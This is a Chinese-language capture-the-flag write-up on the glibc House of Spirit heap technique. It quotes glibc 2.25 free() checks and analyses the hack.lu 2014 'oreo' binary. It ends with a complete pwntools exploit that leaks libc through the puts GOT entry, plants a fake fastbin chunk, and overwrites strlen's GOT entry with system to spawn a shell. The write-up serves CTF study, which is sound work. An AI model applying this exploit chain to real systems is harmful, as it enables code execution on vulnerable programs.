House of Spirit

该攻击手法的主要是思想是,在不可控区域的前后伪造chunk信息,覆盖某指针指向chunk2mem(fake_chunk),释放该指针后再次申请,对不可控区域的进行改写。

1
2
3
4
5
6
7
8
9
10
11
+---------------+
| 可 控 区 域 |
+---------------+
| |
| 不 可 控 区 域 |
| |
| 一 般 为 某 些 |
| 指 针 |
+---------------+
| 可 控 区 域 |
+---------------+

伪造的chunk也通常是fastbin,因为检查容易绕过。

__libc_free函数中对IS_MMAPED检查。如果mmap分配,将会使用munmap_chunk进行释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// glibc release/2.25/master 
void
__libc_free (void *mem)
{
.....
p = mem2chunk (mem);

if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return;
}

ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
libc_hidden_def (__libc_free)

_int_free函数中对nextchunk的大小进行检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// glibc release/2.25/master 3909~3923
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
__libc_lock_lock (av->mutex);
locked = 1; // 对nextchunk大小进行检查
chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))

hack.lu2014 oreo

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

题目比较古老了,防护开的不多。

分析

程序功能

1
2
3
4
5
6
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

Add new rifle 函数,固定分配0x38个字节,加上chunk头,也就是0x40的fast chunk size。在末尾四个字节处存储前一个rifle首地址。输入name和description,其中可以明显的看到溢出和覆盖。头指针和计数变量全局存储。

Show added rifles函数,对所有的rifle进行遍历,输出name和description。

Order selected rifles函数,订购rifles,遍历free 0x38字节的rifle结构。订单数也是一个全局变量。

Leave message函数,在全局存储128字节的信息。

所用到的全局变量的结构如下:

image-20200701192427785

rifle变量是rifle结构的头指针,order_num是订单数计数变量,num是rifle计数变量,message_ptr在main函数中初始化为&message,指向下方128字节message空间的起始地址。

leak libc

通过对rifle的next指针覆盖成puts_got的地址,然后show added rifle就可以打印出puts的地址。

恰好puts_got+0x34的位置就是NULL,不会造成程序出错。

house of spirit

message_ptr是一个理想的控制对象,只要控制了它存储的地址,就可以通过leave message进行改写。

查看附近,对齐地址就有0x804a2a0。不断进行add rifle就可以控制num,也就是fakechunk->size,后面message区域也可以进行nextchunk的构造。

添加0x40个rifle控制fakechunk->size为0x40。注意message前方align 20,所以message区域添加0x20的padding就完成了fakechunk的构造。接着构造nextchunk的pre_size和size,只要注意将size控制在2 * SIZE_SZav->system_mem中间的值即可。

在rifle中覆盖next指针为0x804a2a8,然后order rifle,fastbin的0x40链表头就有了我们伪造的chunk。

1
2
3
4
payload = b"\x00"*0x20 + p32(0) + p32(0x100)
leave_message(payload)
add(b"A"*27+p32(0x804A2A8), "B")
order()

接下来,利用message_ptr对strlen_got进行改写即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="i386", log_level="debug")
localfile = "./oreo"
locallibc = "/lib/i386-linux-gnu/libc.so.6"

def add(name, desc):
# io.recvuntil(": ")
io.sendline(str(1))
# io.recvuntil("name: ")
io.sendline(name)
# io.recvuntil("description: ")
io.sendline(desc)

def order():
io.sendline(str(3))
# io.sendlineafter("Action: ", str(3))

def leave_message(msg):
io.sendline(str(4))
# io.sendlineafter("Action: ", str(4))
io.sendline(msg)
# io.sendlineafter("your order: ", msg)

def exp():
io.recvuntil("6. Exit!\n")
# leak libc
puts_got = 0x804A248
payload = b"A"*27 + p32(puts_got)
add(payload, "B")
gdb.attach(io, "b *0x8048A25")
io.sendline(str(2))
io.recvuntil("Description: ")
io.recvuntil("Description: ")
puts_addr = u32(io.recv(4))
libc_base = puts_addr - libc.sym["puts"]
log.debug("libc base: 0x%x" % libc_base)

# constructe fake chunk
for i in range(0x3e):
add("A", "B")
add(b"A"*27+p32(0x804A2A8), "B")
payload = b"\x00"*0x20 + p32(0) + p32(0x100)
leave_message(payload)
order()

# attack
strlen_got = elf.got["strlen"]
add("A", p32(strlen_got))
# gdb.attach(io, "b *0x8048A25")
system_addr = libc_base + libc.sym["system"]
leave_message(p32(system_addr) + b";/bin/sh")

io.interactive()


argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()

存在的疑问…

pwntools的recvuntil等函数无法正常使用,无论是最新开发版,还是稳定版本。

ref

  1. how2heap house_of_spirit.c
  2. https://www.anquanke.com/post/id/85357